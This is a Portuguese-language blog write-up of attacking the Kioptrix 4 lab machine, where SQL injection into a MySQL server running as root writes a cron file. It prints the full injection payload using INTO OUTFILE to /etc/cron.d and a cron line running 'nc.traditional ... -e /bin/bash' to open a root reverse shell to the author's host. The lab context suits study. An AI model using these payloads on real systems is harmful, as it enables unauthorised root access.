Tudo começou quando eu vi um Bode e quando esse danado desse bode me levou para uma jaula onde eu quase perco o restante dos cabelos que eu tinha para sair dela. :D :D
Mas ai eu descobri uma coisa interessante nessa máquina, é que os arquivos que eu conseguia escrever nela através de SQLi ficavam com usuário e grupo root. Esta máquina é a Kioptrix 4.
Então pensei. O processo do MySQL deve rodar como root e se ele roda como root ele é todo poderoso. Se ele é todo poderoso ele pode escrever onde eu quiser e como quiser. Então , que tal, escrever em um arquivo de crontab um comando para fazer shell reverso pra mim ? Bora tentar assim :
Vamos tentar criar um arquivo em /etc/cron.d que programe o cron para tentar conectar na nossa máquina a cada 1 minuto:
*/1 * * * * root nc.traditional 192.168.200.3 443 -e /bin/bash
Então, nosso SQLi, ficaria assim:
myusername=john&mypassword=-9334'OR 1908=1908 limit 0,0 union all
select "*/1 * * * *" , "root" , "nc.traditional 192.168.200.3 443 -e /bin/bash"
INTO OUTFILE '/etc/cron.d/crontab'--%20-
Tá, não foi assim de primeira , no alvo, prego batido de ponta virada né ? Primeiro apanhei para descobrir que essa danada dessa máquina só tem permissão para se conecta na porta 443 e 22. Depois apanhei tentando fazer com um telnet reverso mas o cron, pelo que entendi abre um subprocesso que morre logo em seguida não permitindo que o telnet fique no ar. Não cheguei a tentar com perl, php, python, etc., pois eu tava decidido a fazer com "comandos do sistema". Ai no finalzim, vi que o danado tinha o nc.tradicional, ou seja, o nosso net gatinho tradicional.
Ai agora é injetar via Burp abrir um NC no terminal e aguardar o Shell cair no seu colo:
Mandando bala
Recebendo o doce
E tá ai , rapidinho, nada de restricted shell, nada de escalar privilégios, etc, etc, etc. Direto ao Shell. ;D